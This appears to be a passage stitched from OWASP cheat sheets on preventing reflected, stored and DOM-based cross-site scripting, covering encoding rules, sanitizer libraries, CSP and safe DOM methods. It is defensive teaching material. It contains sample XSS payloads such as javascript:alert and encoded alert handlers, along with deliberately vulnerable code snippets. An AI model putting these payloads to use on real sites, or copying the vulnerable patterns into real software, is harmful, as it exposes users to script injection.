<span style="property : ...ENCODE UNTRUSTED DATA BEFORE PUTTING HERE...">text</span>
Please note there are some CSS contexts that can never safely use untrusted data as input - EVEN IF PROPERLY CSS ENCODED! You will have to ensure that URLs only start with http
not javascript
and that properties never start with "expression".
For example:
{ background-url : "javascript:alert(1)"; } // and all other URLs
{ text-size: "expression(alert('XSS'))"; } // only in IE
Except for alphanumeric characters, encode all characters with ASCII values less than 256 with the \HH encoding format. DO NOT use any escaping shortcuts like \"
because the quote character may be matched by the HTML attribute parser which runs first. These escaping shortcuts are also susceptible to escape-the-escape attacks where the attacker sends \"
and the vulnerable code turns that into \\"
which enables the quote.
If attribute is quoted, breaking out requires the corresponding quote. All attributes should be quoted but your encoding should be strong enough to prevent XSS when untrusted data is placed in unquoted contexts.
Unquoted attributes can be broken out of with many characters including [space]
%
*
+
,
-
/
;
<
=
>
^
and |
.
Also, the </style>
tag will close the style block even though it is inside a quoted string because the HTML parser runs before the JavaScript parser. Please note that we recommend aggressive CSS encoding and validation to prevent XSS attacks for both quoted and unquoted attributes.
RULE #5 - URL Encode Before Inserting Untrusted Data into HTML URL Parameter Values¶
Rule #5 is for when you want to put untrusted data into HTTP GET parameter value.
<a href="http://www.somesite.com?test=...ENCODE UNTRUSTED DATA BEFORE PUTTING HERE...">link</a >
Except for alphanumeric characters, encode all characters with ASCII values less than 256 with the %HH
encoding format. Including untrusted data in data:
URLs should not be allowed as there is no good way to disable attacks with encoding/escaping to prevent switching out of the URL.
All attributes should be quoted. Unquoted attributes can be broken out of with many characters including [space]
%
*
+
,
-
/
;
<
=
>
^
and |
. Note that entity encoding is useless in this context.
WARNING: Do not encode complete or relative URLs with URL encoding! If untrusted input is meant to be placed into href
, src
or other URL-based attributes, it should be validated to make sure it does not point to an unexpected protocol, especially javascript
links. URLs should then be encoded based on the context of display like any other piece of data. For example, user driven URLs in HREF
links should be attribute encoded.
For example:
String userURL = request.getParameter( "userURL" )
boolean isValidURL = Validator.IsValidURL(userURL, 255);
if (isValidURL) {
<a href="<%=encoder.encodeForHTMLAttribute(userURL)%>">link</a>
}
RULE #6 - Sanitize HTML Markup with a Library Designed for the Job¶
If your application handles markup -- untrusted input that is supposed to contain HTML -- it can be very difficult to validate. Encoding is also difficult, since it would break all the tags that are supposed to be in the input. Therefore, you need a library that can parse and clean HTML formatted text. There are several available at OWASP that are simple to use:
An open-source .Net library. The HTML is cleaned with an "allow list" approach. All allowed tags and attributes can be configured. The library is unit tested with the OWASP XSS Filter Evasion Cheat Sheet
var sanitizer = new HtmlSanitizer();
sanitizer.AllowedAttributes.Add("class");
var sanitized = sanitizer.Sanitize(html);
import org.owasp.html.Sanitizers;
import org.owasp.html.PolicyFactory;
PolicyFactory sanitizer = Sanitizers.FORMATTING.and(Sanitizers.BLOCKS);
String cleanResults = sanitizer.sanitize("<p>Hello, <b>World!</b>");
For more information on OWASP Java HTML Sanitizer policy construction, see here.
The SanitizeHelper
module provides a set of methods for scrubbing text of undesired HTML elements.
<%= sanitize @comment.body, tags: %w(strong em a), attributes: %w(href) %>
Other libraries that provide HTML Sanitization include:
- HTML sanitizer from Google Closure Library (JavaScript/Node.js, docs)
- DOMPurify (JavaScript, requires jsdom for Node.js)
- PHP HTML Purifier
- Python Bleach
RULE #7 - Avoid JavaScript URLs¶
Untrusted URLs that include the protocol javascript: will execute JavaScript code when used in URL DOM locations such as anchor tag HREF attributes or iFrame src locations. Be sure to validate all untrusted URLs to ensure they only contain safe schemes such as HTTPS.
RULE #8 - Prevent DOM-based XSS¶
For details on what DOM-based XSS is, and defenses against this type of XSS flaw, please see the OWASP article on DOM based XSS Prevention Cheat Sheet.
Bonus Rule #1: Use HTTPOnly cookie flag¶
Preventing all XSS flaws in an application is hard, as you can see. To help mitigate the impact of an XSS flaw on your site, OWASP also recommends you set the HTTPOnly flag on your session cookie and any custom cookies you have that are not accessed by any JavaScript you wrote. This cookie flag is typically on by default in .NET apps, but in other languages you have to set it manually. For more details on the HTTPOnly cookie flag, including what it does, and how to use it, see the OWASP article on HTTPOnly.
Bonus Rule #2: Implement Content Security Policy¶
There is another good complex solution to mitigate the impact of an XSS flaw called Content Security Policy. It's a browser side mechanism which allows you to create source allow lists for client side resources of your web application, e.g. JavaScript, CSS, images, etc. CSP via special HTTP header instructs the browser to only execute or render resources from those sources.
For example this CSP:
Content-Security-Policy: default-src: 'self'; script-src: 'self' static.domain.tld
Will instruct web browser to load all resources only from the page's origin and JavaScript source code files additionally from static.domain.tld
. For more details on Content Security Policy, including what it does, and how to use it, see this article on Content Security Policy.
Bonus Rule #3: Use an Auto-Escaping Template System¶
Many web application frameworks provide automatic contextual escaping functionality such as AngularJS strict contextual escaping and Go Templates. Use these technologies when you can.
Bonus Rule #4: Properly use modern JS frameworks¶
Modern JavaScript frameworks have pretty good XSS protection built in. Usually framework API allows bypassing that protection in order to render unescaped HTML or include executable code.
The following API methods and props in the table below are considered dangerous and by using them you are potentially exposing your users to an XSS vulnerability. If you really have to use them remember that now all the data must be sanitized by yourself.
JavaScript framework | Dangerous methods / props |
---|---|
Angular (2+) | bypassSecurityTrust |
React | dangerouslySetInnerHTML |
Svelte | {@html ...} |
Vue (2+) | v-html |
Avoid template injection in Angular by building with --prod
parameter (ng build --prod
).
Also remember to keep your framework updated to the latest version with all possible bugfixes.
X-XSS-Protection Header¶
The X-XSS-Protection
header has been deprecated by modern browsers and its use can introduce additional security issues on the client side. As such, it is recommended to set the header as X-XSS-Protection: 0
in order to disable the XSS Auditor, and not allow it to take the default behavior of the browser handling the response. Check the below references for a better understanding on this topic:
- Google Chrome’s XSS Auditor goes back to filter mode
- Chrome removed the XSS Auditor
- Firefox does not implement the XSSAuditor
- Edge retired their XSS filter
- OWASP ZAP deprecated the scan for the header
- SecurityHeaders.com no longer scans for the header
XSS Prevention Rules Summary¶
The following snippets of HTML demonstrate how to safely render untrusted data in a variety of different contexts.
Data Type | Context | Code Sample | Defense |
---|---|---|---|
String | HTML Body | <span>UNTRUSTED DATA </span> |
HTML Entity Encoding (rule #1). |
String | Safe HTML Attributes | <input type="text" name="fname" value="UNTRUSTED DATA "> |
Aggressive HTML Entity Encoding (rule #2), Only place untrusted data into a list of safe attributes (listed below), Strictly validate unsafe attributes such as background, ID and name. |
String | GET Parameter | <a href="/site/search?value=UNTRUSTED DATA ">clickme</a> |
URL Encoding (rule #5). |
String | Untrusted URL in a SRC or HREF attribute | <a href="UNTRUSTED URL ">clickme</a> <iframe src="UNTRUSTED URL " /> |
Canonicalize input, URL Validation, Safe URL verification, Allow-list http and HTTPS URLs only (Avoid the JavaScript Protocol to Open a new Window), Attribute encoder. |
String | CSS Value | html <div style="width: UNTRUSTED DATA ;">Selection</div> |
Strict structural validation (rule #4), CSS Hex encoding, Good design of CSS Features. |
String | JavaScript Variable | <script>var currentValue='UNTRUSTED DATA ';</script> <script>someFunction('UNTRUSTED DATA ');</script> |
Ensure JavaScript variables are quoted, JavaScript Hex Encoding, JavaScript Unicode Encoding, Avoid backslash encoding (\" or \' or \\ ). |
HTML | HTML Body | <div>UNTRUSTED HTML</div> |
HTML Validation (JSoup, AntiSamy, HTML Sanitizer...). |
String | DOM XSS | <script>document.write("UNTRUSTED INPUT: " + document.location.hash );<script/> |
DOM based XSS Prevention Cheat Sheet |
Safe HTML Attributes include: align
, alink
, alt
, bgcolor
, border
, cellpadding
, cellspacing
, class
, color
, cols
, colspan
, coords
, dir
, face
, height
, hspace
, ismap
, lang
, marginheight
, marginwidth
, multiple
, nohref
, noresize
, noshade
, nowrap
, ref
, rel
, rev
, rows
, rowspan
, scrolling
, shape
, span
, summary
, tabindex
, title
, usemap
, valign
, value
, vlink
, vspace
, width
.
Output Encoding Rules Summary¶
The purpose of output encoding (as it relates to Cross Site Scripting) is to convert untrusted input into a safe form where the input is displayed as data to the user without executing as code in the browser. The following charts details a list of critical output encoding methods needed to stop Cross Site Scripting.
Encoding Type | Encoding Mechanism |
---|---|
HTML Entity Encoding | Convert & to & , Convert < to < , Convert > to > , Convert " to " , Convert ' to ' , Convert / to / |
HTML Attribute Encoding | Except for alphanumeric characters, encode all characters with the HTML Entity &#xHH; format, including spaces. (HH = Hex Value) |
URL Encoding | Standard percent encoding, see here. URL encoding should only be used to encode parameter values, not the entire URL or path fragments of a URL. |
JavaScript Encoding | Except for alphanumeric characters, encode all characters with the \uXXXX unicode encoding format (X = Integer). |
CSS Hex Encoding | CSS encoding supports \XX and \XXXXXX . Using a two character encode can cause problems if the next character continues the encode sequence. There are two solutions (a) Add a space after the CSS encode (will be ignored by the CSS parser) (b) use the full amount of CSS encoding possible by zero padding the value. |
Related Articles¶
XSS Attack Cheat Sheet:
The following article describes how to exploit different kinds of XSS Vulnerabilities that this article was created to help you avoid:
- OWASP: XSS Filter Evasion Cheat Sheet.
Description of XSS Vulnerabilities:
- OWASP article on XSS Vulnerabilities.
Discussion on the Types of XSS Vulnerabilities:
How to Review Code for Cross-site scripting Vulnerabilities:
- OWASP Code Review Guide article on Reviewing Code for Cross-site scripting Vulnerabilities.
How to Test for Cross-site scripting Vulnerabilities:
- OWASP Testing Guide article on Testing for Cross site scripting Vulnerabilities.
- XSS Experimental Minimal Encoding Rules
DOM based XSS Prevention - OWASP Cheat Sheet Series https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html
DOM based XSS Prevention Cheat Sheet¶
Introduction¶
When looking at XSS (Cross-Site Scripting), there are three generally recognized forms of XSS:
The XSS Prevention Cheatsheet does an excellent job of addressing Reflected and Stored XSS. This cheatsheet addresses DOM (Document Object Model) based XSS and is an extension (and assumes comprehension of) the XSS Prevention Cheatsheet.
In order to understand DOM based XSS, one needs to see the fundamental difference between Reflected and Stored XSS when compared to DOM based XSS. The primary difference is where the attack is injected into the application.
Reflected and Stored XSS are server side injection issues while DOM based XSS is a client (browser) side injection issue.
All of this code originates on the server, which means it is the application owner's responsibility to make it safe from XSS, regardless of the type of XSS flaw it is. Also, XSS attacks always execute in the browser.
The difference between Reflected/Stored XSS is where the attack is added or injected into the application. With Reflected/Stored the attack is injected into the application during server-side processing of requests where untrusted input is dynamically added to HTML. For DOM XSS, the attack is injected into the application during runtime in the client directly.
When a browser is rendering HTML and any other associated content like CSS, JavaScript, etc. it identifies various rendering contexts for the different kinds of input and follows different rules for each context. A rendering context is associated with the parsing of HTML tags and their attributes.
- The HTML parser of the rendering context dictates how data is presented and laid out on the page and can be further broken down into the standard contexts of HTML, HTML attribute, URL, and CSS.
- The JavaScript or VBScript parser of an execution context is associated with the parsing and execution of script code. Each parser has distinct and separate semantics in the way they can possibly execute script code which make creating consistent rules for mitigating vulnerabilities in various contexts difficult. The complication is compounded by the differing meanings and treatment of encoded values within each subcontext (HTML, HTML attribute, URL, and CSS) within the execution context.
For the purposes of this article, we refer to the HTML, HTML attribute, URL, and CSS contexts as subcontexts because each of these contexts can be reached and set within a JavaScript execution context.
In JavaScript code, the main context is JavaScript but with the right tags and context closing characters, an attacker can try to attack the other 4 contexts using equivalent JavaScript DOM methods.
The following is an example vulnerability which occurs in the JavaScript context and HTML subcontext:
<script>
var x = '<%= taintedVar %>';
var d = document.createElement('div');
d.innerHTML = x;
document.body.appendChild(d);
</script>
Let's look at the individual subcontexts of the execution context in turn.
RULE #1 - HTML Escape then JavaScript Escape Before Inserting Untrusted Data into HTML Subcontext within the Execution Context¶
There are several methods and attributes which can be used to directly render HTML content within JavaScript. These methods constitute the HTML Subcontext within the Execution Context. If these methods are provided with untrusted input, then an XSS vulnerability could result. For example:
Example Dangerous HTML Methods¶
Attributes¶
element.innerHTML = "<HTML> Tags and markup";
element.outerHTML = "<HTML> Tags and markup";
Methods¶
document.write("<HTML> Tags and markup");
document.writeln("<HTML> Tags and markup");
Guideline¶
To make dynamic updates to HTML in the DOM safe, we recommend:
- HTML encoding, and then
- JavaScript encoding all untrusted input, as shown in these examples:
var ESAPI = require('node-esapi');
element.innerHTML = "<%=ESAPI.encoder().encodeForJS(ESAPI.encoder().encodeForHTML(untrustedData))%>";
element.outerHTML = "<%=ESAPI.encoder().encodeForJS(ESAPI.encoder().encodeForHTML(untrustedData))%>";
var ESAPI = require('node-esapi');
document.write("<%=ESAPI.encoder().encodeForJS(ESAPI.encoder().encodeForHTML(untrustedData))%>");
document.writeln("<%=ESAPI.encoder().encodeForJS(ESAPI.encoder().encodeForHTML(untrustedData))%>");
RULE #2 - JavaScript Escape Before Inserting Untrusted Data into HTML Attribute Subcontext within the Execution Context¶
The HTML attribute subcontext within the execution context is divergent from the standard encoding rules. This is because the rule to HTML attribute encode in an HTML attribute rendering context is necessary in order to mitigate attacks which try to exit out of an HTML attributes or try to add additional attributes which could lead to XSS.
When you are in a DOM execution context you only need to JavaScript encode HTML attributes which do not execute code (attributes other than event handler, CSS, and URL attributes).
For example, the general rule is to HTML Attribute encode untrusted data (data from the database, HTTP request, user, back-end system, etc.) placed in an HTML Attribute. This is the appropriate step to take when outputting data in a rendering context, however using HTML Attribute encoding in an execution context will break the application display of data.
SAFE but BROKEN example¶
var ESAPI = require('node-esapi');
var x = document.createElement("input");
x.setAttribute("name", "company_name");
// In the following line of code, companyName represents untrusted user input
// The ESAPI.encoder().encodeForHTMLAttribute() is unnecessary and causes double-encoding
x.setAttribute("value", '<%=ESAPI.encoder().encodeForJS(ESAPI.encoder().encodeForHTMLAttribute(companyName))%>');
var form1 = document.forms[0];
form1.appendChild(x);
The problem is that if companyName had the value "Johnson & Johnson". What would be displayed in the input text field would be "Johnson & Johnson". The appropriate encoding to use in the above case would be only JavaScript encoding to disallow an attacker from closing out the single quotes and in-lining code, or escaping to HTML and opening a new script tag.
SAFE and FUNCTIONALLY CORRECT example¶
var ESAPI = require('node-esapi');
var x = document.createElement("input");
x.setAttribute("name", "company_name");
x.setAttribute("value", '<%=ESAPI.encoder().encodeForJS(companyName)%>');
var form1 = document.forms[0];
form1.appendChild(x);
It is important to note that when setting an HTML attribute which does not execute code, the value is set directly within the object attribute of the HTML element so there is no concerns with injecting up.
RULE #3 - Be Careful when Inserting Untrusted Data into the Event Handler and JavaScript code Subcontexts within an Execution Context¶
Putting dynamic data within JavaScript code is especially dangerous because JavaScript encoding has different semantics for JavaScript encoded data when compared to other encodings. In many cases, JavaScript encoding does not stop attacks within an execution context. For example, a JavaScript encoded string will execute even though it is JavaScript encoded.
Therefore, the primary recommendation is to avoid including untrusted data in this context. If you must, the following examples describe some approaches that do and do not work.
var x = document.createElement("a");
x.href="#";
// In the line of code below, the encoded data on the right (the second argument to setAttribute)
// is an example of untrusted data that was properly JavaScript encoded but still executes.
x.setAttribute("onclick", "\u0061\u006c\u0065\u0072\u0074\u0028\u0032\u0032\u0029");
var y = document.createTextNode("Click To Test");
x.appendChild(y);
document.body.appendChild(x);
The setAttribute(name_string,value_string)
method is dangerous because it implicitly coerces the value_string into the DOM attribute datatype of name_string.
In the case above, the attribute name is an JavaScript event handler, so the attribute value is implicitly converted to JavaScript code and evaluated. In the case above, JavaScript encoding does not mitigate against DOM based XSS.
Other JavaScript methods which take code as a string types will have a similar problem as outline above (setTimeout
, setInterval
, new Function, etc.). This is in stark contrast to JavaScript encoding in the event handler attribute of a HTML tag (HTML parser) where JavaScript encoding mitigates against XSS.
<!-- Does NOT work -->
<a id="bb" href="#" onclick="\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029"> Test Me</a>
An alternative to using Element.setAttribute(...)
to set DOM attributes is to set the attribute directly. Directly setting event handler attributes will allow JavaScript encoding to mitigate against DOM based XSS. Please note, it is always dangerous design to put untrusted data directly into a command execution context.
<a id="bb" href="#"> Test Me</a>
//The following does NOT work because the event handler is being set to a string.
//"alert(7)" is JavaScript encoded.
document.getElementById("bb").onclick = "\u0061\u006c\u0065\u0072\u0074\u0028\u0037\u0029";
//The following does NOT work because the event handler is being set to a string.
document.getElementById("bb").onmouseover = "testIt";
//The following does NOT work because of the encoded "(" and ")".
//"alert(77)" is JavaScript encoded.
document.getElementById("bb").onmouseover = \u0061\u006c\u0065\u0072\u0074\u0028\u0037\u0037\u0029;
//The following does NOT work because of the encoded ";".
//"testIt;testIt" is JavaScript encoded.
document.getElementById("bb").onmouseover = \u0074\u0065\u0073\u0074\u0049\u0074\u003b\u0074\u0065\u0073
\u0074\u0049\u0074;
//The following DOES WORK because the encoded value is a valid variable name or function reference.
//"testIt" is JavaScript encoded
document.getElementById("bb").onmouseover = \u0074\u0065\u0073\u0074\u0049\u0074;
function testIt() {
alert("I was called.");
}
There are other places in JavaScript where JavaScript encoding is accepted as valid executable code.
for(var \u0062=0; \u0062 < 10; \u0062++){
\u0064\u006f\u0063\u0075\u006d\u0065\u006e\u0074
.\u0077\u0072\u0069\u0074\u0065\u006c\u006e
("\u0048\u0065\u006c\u006c\u006f\u0020\u0057\u006f\u0072\u006c\u0064");
}
\u0077\u0069\u006e\u0064\u006f\u0077
.\u0065\u0076\u0061\u006c
\u0064\u006f\u0063\u0075\u006d\u0065\u006e\u0074
.\u0077\u0072\u0069\u0074\u0065(111111111);
or
var s = "\u0065\u0076\u0061\u006c";
var t = "\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0031\u0029";
window[s](t);
Because JavaScript is based on an international standard (ECMAScript), JavaScript encoding enables the support of international characters in programming constructs and variables in addition to alternate string representations (string escapes).
However the opposite is the case with HTML encoding. HTML tag elements are well defined and do not support alternate representations of the same tag. So HTML encoding cannot be used to allow the developer to have alternate representations of the <a>
tag for example.
HTML Encoding's Disarming Nature¶
In general, HTML encoding serves to castrate HTML tags which are placed in HTML and HTML attribute contexts. Working example (no HTML encoding):
<a href="..." >
Normally encoded example (Does Not Work – DNW):
<a href=... >
HTML encoded example to highlight a fundamental difference with JavaScript encoded values (DNW):
<a href=...>
If HTML encoding followed the same semantics as JavaScript encoding. The line above could have possibly worked to render a link. This difference makes JavaScript encoding a less viable weapon in our fight against XSS.
RULE #4 - JavaScript Escape Before Inserting Untrusted Data into the CSS Attribute Subcontext within the Execution Context¶
Normally executing JavaScript from a CSS context required either passing javascript:attackCode()
to the CSS url()
method or invoking the CSS expression()
method passing JavaScript code to be directly executed.
From my experience, calling the expression()
function from an execution context (JavaScript) has been disabled. In order to mitigate against the CSS url()
method, ensure that you are URL encoding the data passed to the CSS url()
method.
var ESAPI = require('node-esapi');
document.body.style.backgroundImage = "url(<%=ESAPI.encoder().encodeForJS(ESAPI.encoder().encodeForURL(companyName))%>)";
RULE #5 - URL Escape then JavaScript Escape Before Inserting Untrusted Data into URL Attribute Subcontext within the Execution Context¶
The logic which parses URLs in both execution and rendering contexts looks to be the same. Therefore there is little change in the encoding rules for URL attributes in an execution (DOM) context.
var ESAPI = require('node-esapi');
var x = document.createElement("a");
x.setAttribute("href", '<%=ESAPI.encoder().encodeForJS(ESAPI.encoder().encodeForURL(userRelativePath))%>');
var y = document.createTextElement("Click Me To Test");
x.appendChild(y);
document.body.appendChild(x);
If you utilize fully qualified URLs then this will break the links as the colon in the protocol identifier (http:
or javascript:
) will be URL encoded preventing the http
and javascript
protocols from being invoked.
RULE #6 - Populate the DOM using safe JavaScript functions or properties¶
The most fundamental safe way to populate the DOM with untrusted data is to use the safe assignment property textContent
.
Here is an example of safe usage.
<script>
element.textContent = untrustedData; //does not execute code
</script>
RULE #7 - Fixing DOM Cross-site Scripting Vulnerabilities¶
The best way to fix DOM based cross-site scripting is to use the right output method (sink). For example if you want to use user input to write in a div tag
element don't use innerHtml
, instead use innerText
or textContent
. This will solve the problem, and it is the right way to re-mediate DOM based XSS vulnerabilities.
It is always a bad idea to use a user-controlled input in dangerous sources such as eval. 99% of the time it is an indication of bad or lazy programming practice, so simply don't do it instead of trying to sanitize the input.
Finally, to fix the problem in our initial code, instead of trying to encode the output correctly which is a hassle and can easily go wrong we would simply use element.textContent
to write it in a content like this:
<b>Current URL:</b> <span id="contentholder"></span>
...
<script>
document.getElementById("contentholder").textContent = document.baseURI;
</script>
It does the same thing but this time it is not vulnerable to DOM based cross-site scripting vulnerabilities.
Guidelines for Developing Secure Applications Utilizing JavaScript¶
DOM based XSS is extremely difficult to mitigate against because of its large attack surface and lack of standardization across browsers.
The guidelines below are an attempt to provide guidelines for developers when developing Web based JavaScript applications (Web 2.0) such that they can avoid XSS.
GUIDELINE #1 - Untrusted data should only be treated as displayable text¶
Avoid treating untrusted data as code or markup within JavaScript code.
GUIDELINE #2 - Always JavaScript encode and delimit untrusted data as quoted strings when entering the application when building templated JavaScript¶
Always JavaScript encode and delimit untrusted data as quoted strings when entering the application as illustrated in the following example.
var x = "<%= Encode.forJavaScript(untrustedData) %>";
GUIDELINE #3 - Use document.createElement("..."), element.setAttribute("...","value"), element.appendChild(...) and similar to build dynamic interfaces¶
document.createElement("...")
, element.setAttribute("...","value")
, element.appendChild(...)
and similar are safe ways to build dynamic interfaces.
Please note, element.setAttribute
is only safe for a limited number of attributes.
Dangerous attributes include any attribute that is a command execution context, such as onclick
or onblur
.
Examples of safe attributes includes: align
, alink
, alt
, bgcolor
, border
, cellpadding
, cellspacing
, class
, color
, cols
, colspan
, coords
, dir
, face
, height
, hspace
, ismap
, lang
, marginheight
, marginwidth
, multiple
, nohref
, noresize
, noshade
, nowrap
, ref
, rel
, rev
, rows
, rowspan
, scrolling
, shape
, span
, summary
, tabindex
, title
, usemap
, valign
, value
, vlink
, vspace
, width
.
GUIDELINE #4 - Avoid sending untrusted data into HTML rendering methods¶
Avoid populating the following methods with untrusted data.
element.innerHTML = "...";
element.outerHTML = "...";
document.write(...);
document.writeln(...);
GUIDELINE #5 - Avoid the numerous methods which implicitly eval() data passed to it¶
There are numerous methods which implicitly eval()
data passed to it that must be avoided.
Make sure that any untrusted data passed to these methods is:
- Delimited with string delimiters
- Enclosed within a closure or JavaScript encoded to N-levels based on usage
- Wrapped in a custom function.
Ensure to follow step 3 above to make sure that the untrusted data is not sent to dangerous methods within the custom function or handle it by adding an extra layer of encoding.
Utilizing an Enclosure (as suggested by Gaz)¶
The example that follows illustrates using closures to avoid double JavaScript encoding.
var ESAPI = require('node-esapi');
setTimeout((function(param) { return function() {
customFunction(param);
}
})("<%=ESAPI.encoder().encodeForJS(untrustedData)%>"), y);
The other alternative is using N-levels of encoding.
N-Levels of Encoding¶
If your code looked like the following, you would need to only double JavaScript encode input data.
setTimeout("customFunction('<%=doubleJavaScriptEncodedData%>', y)");
function customFunction (firstName, lastName)
alert("Hello" + firstName + " " + lastNam);
}
The doubleJavaScriptEncodedData
has its first layer of JavaScript encoding reversed (upon execution) in the single quotes.
Then the implicit eval
of setTimeout
reverses another layer of JavaScript encoding to pass the correct value to customFunction
The reason why you only need to double JavaScript encode is that the customFunction
function did not itself pass the input to another method which implicitly or explicitly called eval
If firstName was passed to another JavaScript method which implicitly or explicitly called eval()
then <%=doubleJavaScriptEncodedData%>
above would need to be changed to <%=tripleJavaScriptEncodedData%>
.
An important implementation note is that if the JavaScript code tries to utilize the double or triple encoded data in string comparisons, the value may be interpreted as different values based on the number of evals()
the data has passed through before being passed to the if comparison and the number of times the value was JavaScript encoded.
If A is double JavaScript encoded then the following if check will return false.
var x = "doubleJavaScriptEncodedA"; //\u005c\u0075\u0030\u0030\u0034\u0031
if (x == "A") {
alert("x is A");
} else if (x == "\u0041") {
alert("This is what pops");
}
This brings up an interesting design point. Ideally, the correct way to apply encoding and avoid the problem stated above is to server-side encode for the output context where data is introduced into the application.
Then client-side encode (using a JavaScript encoding library such as node-esapi) for the individual subcontext (DOM methods) which untrusted data is passed to.
Here are some examples of how they are used:
//server-side encoding
var ESAPI = require('node-esapi');
var input = "<%=ESAPI.encoder().encodeForJS(untrustedData)%>";
//HTML encoding is happening in JavaScript
var ESAPI = require('node-esapi');
document.writeln(ESAPI.encoder().encodeForHTML(input));
One option is utilize ECMAScript 5 immutable properties in the JavaScript library. Another option provided by Gaz (Gareth) was to use a specific code construct to limit mutability with anonymous closures.
An example follows:
function escapeHTML(str) {
str = str + "''";
var out = "''";
for(var i=0; i<str.length; i++) {
if(str[i] === '<') {
out += '<';
} else if(str[i] === '>') {
out += '>';
} else if(str[i] === "'") {
out += ''';
} else if(str[i] === '"') {
out += '"';
} else {
out += str[i];
}
}
return out;
}
GUIDELINE #6 - Use untrusted data on only the right side of an expression¶
Use untrusted data on only the right side of an expression, especially data that looks like code and may be passed to the application (e.g., location
and eval()
).
window[userDataOnLeftSide] = "userDataOnRightSide";
Using untrusted user data on the left side of the expression allows an attacker to subvert internal and external attributes of the window object, whereas using user input on the right side of the expression doesn't allow direct manipulation.
GUIDELINE #7 - When URL encoding in DOM be aware of character set issues¶
When URL encoding in DOM be aware of character set issues as the character set in JavaScript DOM is not clearly defined (Mike Samuel).
GUIDELINE #8 - Limit access to object properties when using object[x] accessors¶
Limit access to object properties when using object[x]
accessors (Mike Samuel). In other words, add a level of indirection between untrusted input and specified object properties.
Here is an example of the problem using map types:
var myMapType = {};
myMapType[<%=untrustedData%>] = "moreUntrustedData";
The developer writing the code above was trying to add additional keyed elements to the myMapType
object. However, this could be used by an attacker to subvert internal and external attributes of the myMapType
object.
A better approach would be to use the following:
if (untrustedData === 'location') {
myMapType.location = "moreUntrustedData";
}
GUIDELINE #9 - Run your JavaScript in a ECMAScript 5 canopy or sandbox¶
Run your JavaScript in a ECMAScript 5 canopy or sandbox to make it harder for your JavaScript API to be compromised (Gareth Heyes and John Stevens).
GUIDELINE #10 - Don't eval() JSON to convert it to native JavaScript objects¶
Don't eval()
JSON to convert it to native JavaScript objects. Instead use JSON.toJSON()
and JSON.parse()
(Chris Schmidt).
Common Problems Associated with Mitigating DOM Based XSS¶
Complex Contexts¶
In many cases the context isn't always straightforward to discern.
<a href="javascript:myFunction('<%=untrustedData%>', 'test');">Click Me</a>
...
<script>
Function myFunction (url,name) {
window.location = url;
}
</script>
In the above example, untrusted data started in the rendering URL context (href
attribute of an a
tag) then changed to a JavaScript execution context (javascript:
protocol handler) which passed the untrusted data to an execution URL subcontext (window.location
of myFunction
).
Because the data was introduced in JavaScript code and passed to a URL subcontext the appropriate server-side encoding would be the following:
<a href="javascript:myFunction('<%=ESAPI.encoder().encodeForJS(ESAPI.encoder().encodeForURL(untrustedData)) %>', 'test');">
Click Me</a>
...
Or if you were using ECMAScript 5 with an immutable JavaScript client-side encoding libraries you could do the following:
<!-- server side URL encoding has been removed. Now only JavaScript encoding on server side. -->
<a href="javascript:myFunction('<%=ESAPI.encoder().encodeForJS(untrustedData)%>', 'test');">Click Me</a>
...
<script>
Function myFunction (url,name) {
var encodedURL = ESAPI.encoder().encodeForURL(url); //URL encoding using client-side scripts
window.location = encodedURL;
}
</script>
Inconsistencies of Encoding Libraries¶
There are a number of open source encoding libraries out there:
- OWASP ESAPI
- OWASP Java Encoder
- Apache Commons Text StringEscapeUtils, replace one from Apache Commons Lang3
- Jtidy
- Your company's custom implementation.
Some work on a block list while others ignore important characters like "<" and ">".
Java Encoder is an active project providing supports for HTML, CSS and JavaScript encoding.
ESAPI is one of the few which works on an allow list and encodes all non-alphanumeric characters. It is important to use an encoding library that understands which characters can be used to exploit vulnerabilities in their respective contexts. Misconceptions abound related to the proper encoding that is required.
Encoding Misconceptions¶
Many security training curriculums and papers advocate the blind usage of HTML encoding to resolve XSS.
This logically seems to be prudent advice as the JavaScript parser does not understand HTML encoding.
However, if the pages returned from your web application utilize a content type of text/xhtml
or the file type extension of *.xhtml
then HTML encoding may not work to mitigate against XSS.
For example:
<script>
alert(1);
</script>
The HTML encoded value above is still executable. If that isn't enough to keep in mind, you have to remember that encodings are lost when you retrieve them using the value attribute of a DOM element.
Let's look at the sample page and script:
<form name="myForm" ...>
<input type="text" name="lName" value="<%=ESAPI.encoder().encodeForHTML(last_name)%>">
...
</form>
<script>
var x = document.myForm.lName.value; //when the value is retrieved the encoding is reversed
document.writeln(x); //any code passed into lName is now executable.
</script>
Finally there is the problem that certain methods in JavaScript which are usually safe can be unsafe in certain contexts.
Usually Safe Methods¶
One example of an attribute which is thought to be safe is innerText
.
Some papers or guides advocate its use as an alternative to innerHTML
to mitigate against XSS in innerHTML
. However, depending on the tag which innerText
is applied, code can be executed.
<script>
var tag = document.createElement("script");
tag.innerText = "<%=untrustedData%>"; //executes code
</script>
The innerText
feature was originally introduced by Internet Explorer, and was formally specified in the HTML standard in 2016 after being adopted by all major browser vendors.
Detect DOM XSS using variant analysis¶
Vulnerable code:
<script>
var x = location.hash.split("#")[1];
document.write(x);
</script>
Semgrep rule to identify above dom xss link.
Types of XSS | OWASP https://owasp.org/www-community/Types_of_Cross-Site_Scripting#DOM_Based_XSS_.28AKA_Type-0.29
Background
This article describes the many different types or categories of cross-site scripting (XSS) vulnerabilities and how they relate to each other.
Early on, two primary types of XSS were identified, Stored XSS and Reflected XSS. In 2005, Amit Klein defined a third type of XSS, which Amit coined DOM Based XSS. These 3 types of XSS are defined as follows:
Stored XSS (AKA Persistent or Type I)
Stored XSS generally occurs when user input is stored on the target server, such as in a database, in a message forum, visitor log, comment field, etc. And then a victim is able to retrieve the stored data from the web application without that data being made safe to render in the browser. With the advent of HTML5, and other browser technologies, we can envision the attack payload being permanently stored in the victim’s browser, such as an HTML5 database, and never being sent to the server at all.
Reflected XSS (AKA Non-Persistent or Type II)
Reflected XSS occurs when user input is immediately returned by a web application in an error message, search result, or any other response that includes some or all of the input provided by the user as part of the request, without that data being made safe to render in the browser, and without permanently storing the user provided data. In some cases, the user provided data may never even leave the browser (see DOM Based XSS next).
DOM Based XSS (AKA Type-0)
